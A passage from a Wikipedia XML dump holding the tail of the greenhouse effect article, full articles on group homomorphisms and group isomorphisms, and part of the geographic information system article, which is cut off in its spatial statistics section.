* Piexoto, JP and Oort, AH: Physics of Climate, American Institute of Physics, 1992 (quote: ''...the name water vapor-greenhouse effect is actually a misnomer since heating in the usual greenhouse is due to the reduction of convection'')
* Wood, R.W. (1909). Note on the Theory of the Greenhouse, ''Philosophical Magazine'' '''17''', p319&amp;ndash;320. For the text of this online, see http://www.wmconnolley.org.uk/sci/wood_rw.1909.html
* IPCC assessment reports, see http://www.ipcc.ch/ 

[[Category:Atmospheric radiation]]
[[Category:Climate change]]
[[Category:Climate forcing]]
[[Category:Atmosphere]]

[[ar:انحباس حراري]]
[[zh-min-nan:Un-sek hāu-èng]]
[[ca:Efecte hivernacle]]
[[cs:Skleníkový efekt]]
[[da:Drivhuseffekt]]
[[de:Treibhauseffekt]]
[[es:Efecto invernadero]]
[[fa:پدیده گلخانه‌ای]]
[[fr:Effet de serre]]
[[gl:Efecto invernadoiro]]
[[ko:온실 효과]]
[[id:Efek rumah kaca]]
[[ia:Effecto de Calefaction Atmospheric]]
[[it:Effetto serra]]
[[he:אפקט החממה]]
[[nl:Broeikaseffect]]
[[ja:温室効果]]
[[no:Drivhuseffekt]]
[[nn:Drivhuseffekt]]
[[pl:Efekt cieplarniany]]
[[pt:Efeito estufa]]
[[ru:Парниковый эффект]]
[[sl:Pojav tople grede]]
[[fi:Kasvihuoneilmiö]]
[[sv:Växthuseffekten]]
[[th:ปรากฏการณ์เรือนกระจก]]
[[vi:Hiệu ứng nhà kính]]
[[uk:Парниковий ефект]]
[[zh:温室效应]]</text>
    </revision>
  </page>
  <page>
    <title>Group homomorphism</title>
    <id>12396</id>
    <revision>
      <id>30960351</id>
      <timestamp>2005-12-11T20:16:49Z</timestamp>
      <contributor>
        <username>Luqui</username>
        <id>84294</id>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">In [[mathematics]], given two [[group (mathematics)|groups]] (''G'', *) and (''H'', ·), a '''group homomorphism''' from (''G'', *) to (''H'', ·) is a [[function (mathematics)|function]] ''h'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'' such that for all ''u'' and ''v'' in ''G'' it holds that
: ''h''(''u'' * ''v'') = ''h''(''u'') · ''h''(''v'')
From this property, one can deduce that ''h'' maps the identity element ''e&lt;sub&gt;G&lt;/sub&gt;'' of ''G'' to the identity element ''e&lt;sub&gt;H&lt;/sub&gt;'' of ''H'', and it also maps inverses to inverses in the sense that ''h''(''u''&lt;sup&gt;-1&lt;/sup&gt;) = ''h''(''u'')&lt;sup&gt;-1&lt;/sup&gt;. Hence one can say that ''h'' &quot;is compatible with the group structure&quot;.

Older notations for the homomorphism ''h''(''x'') may be ''x''&lt;sub&gt;''h''&lt;/sub&gt;, though this may be confused as an index or a general subscript.
A more recent trend is to write group homomorphisms on the right of their
arguments, omitting brackets, so that ''h''(''x'') becomes simply ''x h''.
This approach is especially prevalent in areas of group theory where [[automata]] play a role, since it accords better with the convention that automata read words from left to right.

In areas of mathematics where one considers groups endowed with additional structure, a ''homomorphism'' sometimes means a map which respects not only the group structure (as above) but also the extra structure. For example, a homomorphism of [[topological group|topological groups]] is often required to be continuous.

== Image and kernel ==

We define the ''kernel of h'' to be 
:ker(''h'') = { ''u'' in ''G'' : ''h''(''u'') = ''e&lt;sub&gt;H&lt;/sub&gt;'' } 
and the ''image of h'' to be
:im(''h'') = { ''h''(''u'') : ''u'' in ''G'' }.
The kernel is a [[normal subgroup]] of ''G'' (in fact, ''h''(''g''&lt;sup&gt;-1&lt;/sup&gt; ''u'' ''g'') = ''h''(''g'')&lt;sup&gt;-1&lt;/sup&gt; ''h''(''u'') ''h''(''g'') = ''h''(''g'')&lt;sup&gt;-1&lt;/sup&gt; ''e&lt;sub&gt;H&lt;/sub&gt;'' ''h''(''g'') = 
''h''(''g'')&lt;sup&gt;-1&lt;/sup&gt; ''h''(''g'') = ''e&lt;sub&gt;H&lt;/sub&gt;'') and the image is a [[subgroup]] of ''H''.
The homomorphism ''h'' is [[injective]] (and called a ''group monomorphism'') if and only if ker(''h'') = {''e''&lt;sub&gt;''G''&lt;/sub&gt;}.

== Examples ==

* Consider the [[cyclic group]] '''Z'''/3'''Z''' = {0, 1, 2} and the group of integers '''Z''' with addition. The map ''h'' : '''Z''' &lt;tt&gt;-&gt;&lt;/tt&gt; '''Z'''/3'''Z''' with ''h''(''u'') = ''u'' [[modular arithmetic|mod]] 3 is a group homomorphism. It is [[surjective]] and its kernel consists of all integers which are divisible by 3.

* The [[exponential function|exponential map]] yields a group homomorphism from the group of [[real number]]s '''R''' with addition to the group of non-zero real numbers '''R'''&lt;sup&gt;*&lt;/sup&gt; with multiplication. The kernel is {0} and the image consists of the positive real numbers.

* The exponential map also yields a group homomorphism from the group of [[complex number]]s '''C''' with addition to the group of non-zero complex numbers '''C'''&lt;sup&gt;*&lt;/sup&gt; with multiplication. This map is surjective and has the kernel { 2&amp;pi;''ki'' : ''k'' in '''Z''' }, as can be seen from [[Eulers formula in complex analysis|Euler's formula]].

* Given any two groups ''G'' and ''H'', the map ''h'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'' which sends every element of ''G'' to the identity element of ''H'' is a homomorphism; its kernel is all of ''G''.

* Given any group ''G'', the identity map id : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''G'' with id(''u'') = ''u'' for all ''u'' in ''G'' is a group homomorphism.

== The category of groups ==

If ''h'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'' and ''k'' : ''H'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''K'' are group homomorphisms, then so is ''k'' o ''h'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''K''. This shows that the [[class (set theory)|class]] of all groups, together with group homomorphisms as morphisms, forms a [[category theory|category]].

== Isomorphisms, endomorphisms and automorphisms ==

If the homomorphism ''h'' is a [[bijection]], then one can show that its inverse is also a group homomorphism, and ''h'' is called a  ''[[group isomorphism]]''; in this case, the groups ''G'' and ''H'' are called ''isomorphic'': they differ only in the notation of their elements and are identical for all practical purposes.

If ''h'': ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''G'' is a group homomorphism, we call it an ''endomorphism'' of ''G''. If furthermore it is bijective and hence an isomorphism, it is called an ''[[automorphism]]''. The set of all automorphisms of a group ''G'', with functional composition as operation, forms itself a group, the ''automorphism group'' of ''G''. It is denoted by Aut(''G''). As an example, the automorphism group of ('''Z''', +) contains only two elements, the identity and multiplication with -1; it is isomorphic to '''Z'''/2'''Z'''.

== Homomorphisms of abelian groups ==

If ''G'' and ''H'' are [[abelian group|abelian]] (i.e. commutative) groups, then the set Hom(''G'', ''H'') of all group homomorphisms from ''G'' to ''H'' is itself an abelian group: the sum ''h'' + ''k'' of two homomorphisms is defined by
:(''h'' + ''k'')(''u'') = ''h''(''u'') + ''k''(''u'')&amp;nbsp;&amp;nbsp;&amp;nbsp; for all ''u'' in ''G''.
The commutativity of ''H'' is needed to prove that ''h'' + ''k'' is again a group homomorphism. The addition of homomorphisms is compatible with the composition of homomorphisms in the following sense: if ''f'' is in Hom(''K'', ''G''), ''h'', ''k'' are elements of Hom(''G'', ''H''), and ''g'' is in Hom(''H'',''L''), then 
:(''h'' + ''k'') o ''f''  =  (''h'' o ''f'') + (''k'' o ''f'')&amp;nbsp;&amp;nbsp; and &amp;nbsp;&amp;nbsp; ''g'' o (''h'' + ''k'')  = (''g'' o ''h'') + (''g'' o ''k'').
This shows that the set End(''G'') of all endomorphisms of an abelian group forms a [[ring (algebra)|ring]], the ''endomorphism ring'' of ''G''. For example, the endomorphism ring of the abelian group consisting of the [[direct sum]] of two copies of '''Z'''/2'''Z''' (the [[Klein four-group]]) is isomorphic to the ring of 2-by-2 [[matrix_(mathematics)|matrices]] with entries in '''Z'''/2'''Z'''. The above compatibility also shows that the category of all abelian groups with group homomorphisms forms a [[preadditive category]]; the existence of direct sums and well-behaved kernels makes this category the prototypical example of an [[abelian category]].

[[Category:Group theory]]

[[de:Gruppenhomomorphismus]]
[[fr:Homomorphisme de groupe]]
[[it:Omomorfismo di gruppi]]
[[sl:Homomorfizem grupe]]</text>
    </revision>
  </page>
  <page>
    <title>Group isomorphism</title>
    <id>12397</id>
    <revision>
      <id>36865523</id>
      <timestamp>2006-01-26T23:48:33Z</timestamp>
      <contributor>
        <username>Almit39</username>
        <id>64904</id>
      </contributor>
      <comment>it:</comment>
      <text xml:space="preserve">In [[abstract algebra]], a '''group isomorphism''' is a [[function (mathematics)|function]] between two [[group (mathematics)|group]]s that sets up a one-to-one correspondence between the elements of the groups in a way that respects the given group operations. If there exists an isomorphism between two groups, then the groups are called '''isomorphic'''. From the standpoint of group theory, isomorphic groups have the same properties and need not be distinguished.

== Definition and notation==

Given two groups (''G'', *) and (''H'', @), a ''group isomorphism'' from (''G'', *) to (''H'', @) is a [[bijection|bijective]] [[group homomorphism]] from ''G'' to ''H''. Spelled out, this means that a group isomorphism is a bijective function ''f'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'' such that for all ''u'' and ''v'' in ''G'' it holds that
: ''f'' (''u'' * ''v'') = ''f'' (''u'') @ ''f'' (''v'').

The two groups (''G'', *) and (''H'', @) are isomorphic if an isomorphism exists. This is written:
:(''G'', *) &lt;math&gt;\cong&lt;/math&gt; (''H'', @)

(Here the symbol is displayed with TeX; the Unicode symbol ≅ is not visible with all browsers and browser settings.)

Often shorter and simpler notations can be used. Often there is no ambiguity about the group operation, and it can be omitted:
:''G'' &lt;math&gt;\cong&lt;/math&gt; ''H''

Sometimes one can even simply write ''G'' = ''H''. Whether such a notation is possible without confusion or ambiguity depends on context. For example, the equals sign is not very suitable when the groups are both subgroups of the same group. See also the examples.

===The converse===
Given a group (''G'', *), a set ''H'', and a bijection ''f'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'', we can make ''H'' a group (''H'', @) by defining
: ''f'' (''u'') @ ''f'' (''v'') = ''f'' (''u'' * ''v'')

If ''H'' = ''G'' and @ = * then the bijection is an automorphism, see below.

== Examples ==

The group of all [[real number]]s with addition, ('''R''',+), is isomorphic to the group of all positive real numbers with multiplication ('''R'''&lt;sup&gt;+&lt;/sup&gt;,&amp;times;):

:('''R''',+) &lt;math&gt;\cong&lt;/math&gt; ('''R'''&lt;sup&gt;+&lt;/sup&gt;,&amp;times;)

via the isomorphism
:''f'' ( ''x'' ) = exp ( ''x'' )
(see [[exponential function]]).

The group '''Z''' of [[integer]]s (with addition) is a [[subgroup]] of '''R''', and the [[factor group]] '''R'''/'''Z''' is isomorphic to the group ''S''&lt;sup&gt;1&lt;/sup&gt; of [[complex number]]s of [[absolute value]] 1 (with multiplication):
:'''R'''/'''Z''' &lt;math&gt;\cong&lt;/math&gt; ''S''&lt;sup&gt;1&lt;/sup&gt;
An isomorphism is given by
:''f'' ( ''x'' + '''Z''' ) = exp ( 2&amp;pi;''xi'' )
for every ''x'' in '''R'''.

The [[Klein four-group]] is isomorphic to the [[direct product]] of two copies of Z&lt;sub&gt;2&lt;/sub&gt; = '''Z''' / 2'''Z''' (see [[modular arithmetic]]), and can therefore be written Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;. Another notation is Dih&lt;sub&gt;2&lt;/sub&gt;, because it is a [[dihedral group]].

Some groups can be proven to be isomorphic, relying on the [[axiom of choice]], while it is even theoretically impossible to construct concrete isomorphisms. Examples:
*The group ( '''R''' , + ) is isomorphic to the group ( '''C''' , + ) of all [[complex number]]s with addition.
*The group ( '''C'''&lt;sup&gt;*&lt;/sup&gt; , &amp;middot; ) of non-zero complex numbers with multiplication as operation is isomorphic to the group ''S''&lt;sup&gt;1&lt;/sup&gt; mentioned above.

== Consequences ==

From the definition, it follows that any isomorphism ''f'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''H'' will map the identity element of ''G'' to the identity element of ''H'', 
: ''f'' ( ''e&lt;sub&gt;G&lt;/sub&gt;'' ) = ''e&lt;sub&gt;H&lt;/sub&gt;''
that it will map inverses to inverses,
: ''f'' ( ''u''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; ) = ''f'' ( ''u'' )&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt;
for all ''u'' in ''G'',
and that the inverse map ''f''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; : ''H'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''G'' is also a group isomorphism.

The relation &quot;being isomorphic&quot; satisfies all the axioms of an [[equivalence relation]]. If ''f'' is an isomorphism between two groups ''G'' and ''H'', then everything that is true about ''G'' that is only related to the group structure can be translated via ''f'' into a true ditto statement about ''H'', and vice versa.

== Automorphisms ==

An isomorphism from a group (''G'',*) to itself is called an [[automorphism]] of this group. Thus it is a bijection ''f'' : ''G'' &lt;tt&gt;-&gt;&lt;/tt&gt; ''G'' such that
: ''f'' (''u'') * ''f'' (''v'') = ''f'' (''u'' * ''v'')

An automorphism always maps the identity to itself. The image under an automorphism of a [[conjugacy class]] is always a conjugacy class (the same or another). The image of an element has the same order as that element.

The composition of two automorphisms is again an automorphism, and with this operation the set of all automorphisms of a group ''G'', denoted by Aut(''G''), forms itself a group, the ''automorphism group'' of ''G''.

For all Abelian groups there is at least the automorphism that replaces the group elements by their inverses. However, in groups where all elements are equal to their inverse this is the trivial automorphism, e.g. in the [[Klein four-group]]. For that group all permutations of the three non-identity elements are automorphisms, so the automorphism group is isomorphic to ''S''&lt;sub&gt;3&lt;/sub&gt; and Dih&lt;sub&gt;3&lt;/sub&gt;.

In Z&lt;sub&gt;''p''&lt;/sub&gt; for a prime number ''p'', one non-identity element can be replaced by any other, with corresponding changes in the other elements. The automorphism group is isomorphic to Z&lt;sub&gt;''p'' &amp;minus; 1&lt;/sub&gt;. For example, for ''n'' = 7, multiplying all elements of Z&lt;sub&gt;7&lt;/sub&gt; by 3, modulo 7, is an automorphism of order 6 in the automorphism group, because 3&lt;sup&gt;6&lt;/sup&gt; = 1 ( modulo 7 ), while lower powers do not give 1. Thus this automorphism generates Z&lt;sub&gt;6&lt;/sub&gt;. There is one more automorphism with this property: multiplying all elements of Z&lt;sub&gt;7&lt;/sub&gt; by 5, modulo 7. Therefore, these two correspond to the elements 1 and 5 of Z&lt;sub&gt;6&lt;/sub&gt;, in that order or conversely.

The automorphism group of Z&lt;sub&gt;6&lt;/sub&gt; is isomorphic to Z&lt;sub&gt;2&lt;/sub&gt;, because only each of the two elements 1 and 5 generate Z&lt;sub&gt;6&lt;/sub&gt;, so apart from the identity we can only interchange these.

The automorphism group of Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; = Dih&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; has order 168, as can be found as follows. All 7 non-identity elements play the same role, so we can choose which plays the role of (1,0,0). Any of the remaining 6 can be chosen to play the role of (0,1,0). This determines which corresponds to (1,1,0). For (0,0,1) we can choose from 4, which determines the rest. Thus we have 7 &amp;times; 6 &amp;times; 4 = 168 automorphisms. They correspond to those of the [[Fano plane]], of which the 7 points correspond to the 7 non-identity elements. The lines connecting three points correspond to the group operation: a, b, and c on one line means a+b=c, a+c=b, and b+c=a. See also [[General_linear_group#Over_finite_fields|general linear group over finite fields]].

For Abelian groups all automorphisms except the trivial one are called  [[outer automorphism]]s.

Non-Abelian groups have a non-trivial [[inner automorphism]] group, and possibly also outer automorphisms.

[[category:group theory]]


[[it:Isomorfismo tra gruppi]]</text>
    </revision>
  </page>
  <page>
    <title>Geographic information system</title>
    <id>12398</id>
    <revision>
      <id>42160316</id>
      <timestamp>2006-03-04T05:30:49Z</timestamp>
      <contributor>
        <username>David G. Smith</username>
        <id>700594</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">:'''''GIS''' redirects here. For other meanings, see [[GIS (disambiguation)]].''
A '''geographic information system''' or '''geographical information system''' (GIS) is a system for creating and managing spatial data and associated attributes.  In the strictest sense, it is a [[computer system]] capable of integrating, storing, editing, analyzing, and displaying geographically-referenced information.  In a more generic sense, GIS is a &quot;smart map&quot; tool that allows users to create interactive queries (user created searches), analyze the spatial information, and edit data. '''Geographical Information Science''' is the science underlying the applications and systems, taught as a degree programme by several universities.

[[Image:31b.jpg|a GIS in action, with two different layers visible, showing two different variables (taken from www.clarklabs.org)|right]]
Geographic information systems technology can be used for [[scientific investigation]]s, [[resource management]], [[asset management]], [[development planning]], [[cartography]] and route planning. For example, a GIS might allow emergency planners to easily calculate emergency response times in the event of a [[natural disaster]], or a GIS might be used to find [[wetland]]s that need protection from [[pollution]].
 

=='''History of development'''==
35,000 years ago, on the walls of caves near [[Lascaux]], [[France]], [[Cro-Magnon]] hunters drew pictures of the animals they hunted. Associated with the animal drawings are track lines and tallies thought to depict migration routes. These early records followed the two-element structure of modern geographic information systems: a graphic file linked to an [[attribute]] database.

In the [[18th century]], modern surveying techniques for topographic mapping were implemented, along with early versions of thematic mapping, e.g. for scientific or census data.  A notable example of this is John Snow's 1854 map depicting a [[cholera]] outbreak in London, which provided analysis to narrow the source of the cholera to a contaminated pump, stemming the outbreak.[http://www.ph.ucla.edu/epi/snow/snowmap1_1854_lge.htm  Images of John Snow's maps]

The early [[20th century]] saw the development of &quot;photo lithography&quot; where maps were separated into layers.  Computer hardware development spurred by [[nuclear weapon]] research would lead to general purpose computer &quot;mapping&quot; applications by the early [[1960s]].

The year 1967 saw the development of the world's first true operational GIS in [[Ottawa, Ontario]] by the federal [[Department of Energy, Mines and Resources (Canada)|Department of Energy, Mines and Resources]]. Developed by [[Roger Tomlinson]], it was called &quot;[[Canadian GIS]]&quot; (CGIS) and was used to store, analyse and manipulate data collected for the Canada Land Inventory (CLI)&amp;mdash;an initiative to determine the land capability for rural Canada by mapping information about soils, agriculture, recreation, wildlife, waterfowl, forestry, and land use at a scale of 1:250,000.  A rating classification factor was also added to permit analysis.

CGIS was the world's first &quot;system&quot; and was an improvement over &quot;mapping&quot; applications as it provided capabilities for overlay, measurement, digitizing/scanning, supported a national coordinate system that spanned the continent, coded lines as &quot;arcs&quot; having a true embedded topology, and it stored the attribute and locational information in separate files.  Its developer, geographer Roger Tomlinson, has become known as the &quot;father of GIS.&quot;

CGIS lasted into the [[1990s]] and built the largest digital land resource data base in Canada. It was developed as a mainframe based system in support of federal and provincial resource planning and management. Its strength was continent-wide analysis of complex data sets. The CGIS was never available in a commercial form. Its initial development and success stimulated  various commercial mapping applications being sold by vendors such as [[Intergraph]].  The development of micro-computer hardware spurred vendors such as [[ESRI]], [[MapInfo]] and [[CARIS]] to successfully incorporate many of the CGIS features, combining the first generation approach to separation of spatial and attribute information with a second generation approach to organizing attribute data into database structures.  The [[1980s]] and [[1990s]] industry growth were spurred on by the growing use of GIS on [[Unix]] workstations and the [[personal computer]].  By the end of the [[20th century]], the rapid growth in various systems had been consolidated and standardized on relatively few platforms and users were beginning to export the concept of viewing GIS data over the Internet, requiring data format and transfer standards.

==Techniques used in GIS==
===Relating information from different sources===
If you could relate information about the rainfall of your [[state]] to aerial photographs of your [[county]], you might be able to tell which wetlands dry up at certain times of the year. A GIS, which can use information from many different sources in many different forms, can help with such analyses. The primary requirement for the source data consists of knowing the locations for the variables. Location may be annotated by x,y, and z coordinates of [[longitude]], [[latitude]], and [[elevation (geography)|elevation]], or by other [[geocode]] systems like [[ZIP Code]]s or by highway [[mile marker]]s. Any variable that can be located spatially can be fed into a GIS. Several computer [[database]]s that can be directly entered into a GIS are being produced by government agencies and non-government organizations. Different kinds of data in map form can be entered into a GIS.

A GIS can also convert existing digital information, which may not yet be in map form, into forms it can recognize and use. For example, digital [[satellite images]] generated through [[remote sensing]] can be analyzed to produce a map-like [[layer]] of digital information about vegetative covers. Another fairly developed resource for naming GIS objects is the [[Getty Thesaurus of Geographic Names]]  ([[GTGN]]), which  is a structured vocabulary containing around 1,000,000 names and other information about places[http://gis.ednet.ns.ca/gis_uses_in_US.htm].

Likewise, [[census]] or hydrologic tabular data can be converted to map-like form, serving as layers of thematic information in a GIS.

===Data representation===
GIS data represents real world objects (roads, land use, elevation) with digital [[data]]. Real world objects can be divided into two abstractions: discrete objects (a house) and continuous fields (rain fall amount or elevation). There are two broad methods used to store data in a GIS for both abstractions: Raster and Vector.

[[Raster]] data type consists of rows and columns of cells where in each cell is stored a single value. Most often, raster data are images ([[Raster_graphics|raster]] images), but besides just color, the value recorded for each cell may be a discrete value, such as land use, a continuous value, such as rainfall, or a [[null]] value if no data is available. While a raster cell stores a single value, it can be extended by using raster bands to represent RGB (red, green, blue) colors, colormaps (a mapping between a thematic code and RGB value), or an extended attribute table with one row for each unique cell value. The resolution of the raster dataset is its cell width in ground units. For example, in a [[LIDAR]] raster image, each cell is a pixel that represents an area of 3 meters by 3 meters. Usually cells represent square areas of the ground, but other shapes can also be used. 

[[Vector graphics|Vector]] data type uses geometries such as points, lines (series of point coordinates), or polygons, also called areas (shapes bounded by lines), to represent objects. Examples include property boundaries for a housing subdivision represented as polygons and well locations represented as points. Vector features can be made to respect spatial integrity through the application of topology rules such as 'polygons must not overlap'. Vector data can also be used to represent continuously varying phenomena. [[Contour line]]s and [[triangulated irregular network]]s (TIN) are used to represent elevation or other continuously changing values. TINs record values at point locations, which are connected by lines to form an irregular mesh of triangles. The face of the triangles represent the terrain surface.

There are advantages and disadvantages to using a raster or vector data model to represent reality. Raster datasets record a value for all points in the area covered which may require more storage space than representing data in a vector format that can store data only where needed. Raster data also allows easy implementation of overlay operations, which are more difficult with vector data. Vector data can be displayed as [[vector graphics]] used on traditional maps, whereas raster data will appear as an [[image]] that may have a blocky appearance for object boundaries.

Additional non-spatial data can also be stored besides the spatial data represented by the coordinates of a vector geometry or the position of a raster cell. In vector data, the additional data are attributes of the object. For example, a forest inventory polygon may also have an identifier value and information about tree species. In raster data the cell value can store attribute information, but it can also be used as an identifier that can relate to [[record (computer science)|records]] in another table.

===Data capture===
Data capture&amp;mdash;entering information into the system&amp;mdash;consumes much of the time of GIS practitioners. There are a variety of methods used to enter data into a GIS where it is stored in a digital format. 

Existing data printed on paper or [[mylar]] maps can be [[digitizer|digitized]] or scanned to produce digital data. A digitizer produces vector data as an operator traces points, lines, and polygon boundaries from a map. [[Image scanner|Scanning]] a map results in raster data that could be further processed to produce vector data.

[[Surveying|Survey]] data can be directly entered into a GIS from digital data collection systems on survey instruments. Positions from a [[global positioning system]] (GPS), another survey tool, can also be directly entered into a GIS.

[[Remote sensing|Remotely sensed]] data also plays an important role in data collection and consist of sensors attached to a platform. Sensors include [[camera]]s, digital scanners and [[LIDAR]], while platforms usually consist of aircraft and [[satellite]]s.

The majority of digital data currently comes from photo interpretation of [[Aerial photography | aerial photographs]]. [[Soft copy workstation]]s are used to digitize features directly from [[Stereoscopy|stereo pairs]] of digital photographs. These systems allow data to be captured in 2 and 3 dimensions, with elevations measured directly from a stereo pair using principles of [[photogrammetry]]. Currently, analog aerial photos are scanned before being entered into a soft copy system, but as high quality digital cameras become cheaper this step will be skipped.

Satellite remote sensing provides another important source of spatial data. Here satellites use different sensor packages to passively measure the reflectance from parts of the [[electromagnetic spectrum]] or radio waves that were sent out from an active sensor such as [[radar]]. Remote sensing collects raster data that can be further processed to identify objects and classes of interest, such as land cover.

When data is captured, the user should consider if the data should be captured with either a relative accuracy or absolute accuracy, since this could not only influence how information will be interpreted but also the cost of data capture.

In addition to collecting and entering spatial data, attribute data is also entered into a GIS. For vector data this includes additional information about the objects represented in the system.

After entering data into a GIS, it usually requires editing, to remove errors, or further processing. For vector data it must be made &quot;topologically correct&quot; before it can be used for some advanced analysis. For example, in a road network, lines must connect with nodes at an intersection. Errors such as undershoots and overshoots must also be removed. For scanned maps, blemishes on the source map may need to be removed from the resulting raster. For example, a fleck of dirt might connect two lines that should not be connected.

===Data manipulation===
Data restructuring can be performed by a GIS to convert data into different formats. For example, a GIS may be used to convert a satellite image map to a vector structure by generating lines around all cells with the same classification, while determining the cell spatial relationships, such as adjacency or inclusion.

Since digital data are collected and stored in various ways, the two data sources may not be entirely compatible. So a GIS must be able to convert [[geographic data]] from one structure to another.

===Projections, coordinate systems and registration===
A property ownership [[map]] and a soils map might show data at different scales. Map information in a GIS must be manipulated so that it registers, or fits, with information gathered from other maps. Before the digital data can be analyzed, they may have to undergo other manipulations&amp;mdash;projection and coordinate conversions, for example&amp;mdash;that integrate them into a GIS.

The earth can be represented by various models, each of which may provide a different set of coordinates (e.g., latitude, longitude, elevation) for any given point on the earth's surface.  The simplest model is to assume the earth is a perfect sphere.  As more measurements of the earth have accumulated, the models of the earth have become more sophisticated and more accurate.  In fact, there are models that apply to different areas of the earth to provide increased accuracy (e.g., North American Datum, 1983 - NAD83 - works well in North America, but not in Europe). See [[Datum]] for more information.

''Projection'' is a fundamental component of [[map making]]. A [[map projection|projection]] is a mathematical means of transferring information from a model of the Earth, which represents a three-dimensional curved surface, to a two-dimensional medium&amp;mdash;paper or a computer screen. Different projections are used for different types of maps because each projection particularly suits certain uses. For example, a projection that accurately represents the shapes of the continents will distort their relative sizes. See [[Map projection]] for more information.

Since much of the information in a GIS comes from existing maps, a GIS uses the processing power of the computer to transform digital information, gathered from sources with different projections and/or different coordinate systems, to a common projection and coordinate system.

&lt;!-- TODO: move to data manipulation and Relating information. --&gt;

===Spatial analysis with GIS===
====Data modeling====
It is difficult to relate wetlands maps to rainfall amounts recorded at different points such as airports, television stations, and high schools. A GIS, however, can be used to depict two- and three-dimensional characteristics of the Earth's surface, subsurface, and atmosphere from information points.  For example, a GIS can quickly generate a map with [[isopleth]] lines that indicate differing amounts of rainfall.

Such a map can be thought of as a rainfall contour map. Many sophisticated methods can estimate the characteristics of surfaces from a limited number of point measurements. A two-dimensional contour map created from the surface modeling of rainfall point measurements may be overlaid and analyzed with any other map in a GIS covering the same area.

Additionally, from a series of three-dimensional points, or digital elevation model, isopleth lines representing elevation contours can be generated, along with slope analysis, shaded relief, and other elevation products.  Watersheds can be easily defined for any given reach, by computing all of the areas contiguous and uphill from any given point of interest.  Similarly, an expected thalweg of where surface water would want to travel in intermittent and permanent streams can be computed from elevation data in the GIS.

====Topological modeling====
In the past  years, were there any gas stations or factories operating next to the swamp? Any within two miles and uphill from the swamp? A GIS can recognize and analyze the spatial relationships that exist within digitally stored spatial data.  These topological relationships allow complex spatial modelling and analysis to be performed.  Topological relationships between geometric entities traditionally include adjacency (what adjoins what), containment (what  encloses what), and proximity (how close something is to something else).

====Networks====
If all the factories near a wetland were accidentally to release chemicals into the river at the same time, how long would it take for a damaging amount of pollutant to enter the wetland reserve? A GIS can simulate the routing of materials along a linear network. Values such as slope, speed limit, or pipe diameter can be incorporated into network modelling in order to represent the flow of the phenomenon more accurately.  Network modelling is commonly employed in [[transportation planning]], [[hydrology]] modelling, and [[infrastructure]] modelling.

====Cartographic modeling====
Digital cartography and GIS both encode spatial relationships in structured formal representations. GIS is used in digital cartography modeling as (semi)automated process of making maps, so called Automated Cartography. In practice, it can be a subset of a GIS, whithin which it is equivalent to the stage of visualization, since in most cases not all of the GIS functionality is used. Cartographic products can be either in a digital or in a hardcopy format. Powerful analysis techniques with different data representation can produce high-quality maps whithin short time period.
{{sect-stub}}

====Vector overlay====
The combination of two separate spatial datasets (points, lines or polygons) to create a new output vector dataset.   These overlays are similar to mathematical [[Venn diagram]] overlays. A [[union (set theory)|union]] overlay combines the geographic features and attribute tables of both inputs into a single new output. An [[intersection (set theory)|intersect]] overlay defines the area where both inputs overlap and retains a set of attribute fields for each.  A [[symmetric difference]] overlay defines an output area that includes the total area of both inputs except for the overlapping area.          

Data extraction is a GIS process similar to vector overlay, though it can be used in either vector or raster data analysis. Rather than combining the properties and features of both datasets, data extraction involves using a &quot;clip&quot; or &quot;mask&quot; to extract the features of one dataset that fall within the spatial extent of another dataset. 

In raster data analysis, the overlay of datasets is accomplished through a process known as &quot;local operation on multiple rasters&quot; or &quot;map algebra,&quot; through a function that combines the values of each raster's [[matrix (mathematics)|matrix]]. This function may weigh some inputs more than others through use of an &quot;index model&quot; that reflects the influence of various factors upon a geographic phenomenon.

====Spatial Statistics (Geostatistics)====
{{cleanup-section}}
Using geostatistics to predict fields from points. Point pattern analysis.
A way of looking at the statistical properties of spatial data. What makes it unique from other kinds of [[statistics]] is the use of [[graph theory]] and [[Matrix (mathematics)|matrix algebra]] to reduce the number of parameters in the data being analyzed. This is necessary because it is actually the second-order properties of the GIS data that need analyzing. 

When we measure any phenomena, our observation methods dictate the accuracy of any subsequent analysis. Whether our study is concerned with the nature of traffic patterns in an urban core, or with the analysis of weather patterns over the Pacific, there will always contain a variable or a degree of precision which escapes our measurement; this is determined directly by the scale and distribution of our data collection, or survey methods. In order to apply statistical relevance to spatial analysis, an 'average' must be determined so that points, or gradients, outside of any immediate measurement may be included as to their predicted behavior. Limitations in statistics and data collection mean that it is impossible to directly measure a contiuum without the inferential methods of analysis, of which, several forms of interpolation are used in order to predict the behavior of particles and locations not directly measured.

[[Image:Dem.jpg|thumb|right|300px|Digital Elevation Models (DEM) of the Valestra area in the northern Apennines (Italy)]][[Interpolation]] is the process by which a surface is created, usually a raster dataset, through the input of data collected at a number of sample points. There are several forms of interpolation, each which treats the data differently, depending on the properties of the dataset. In comparing interpolation methods, the first consideration should be whether or not the source data will change (exact or approximate). Next is whether the method is subjective, a human interpretation, or objective. Then there is the nature of transitions between points, are they abrupt or gradual. Finally there is whether a method is global, it uses the entire dataset to form the model, or local, an algorithm is repeated for a small section of terrain.

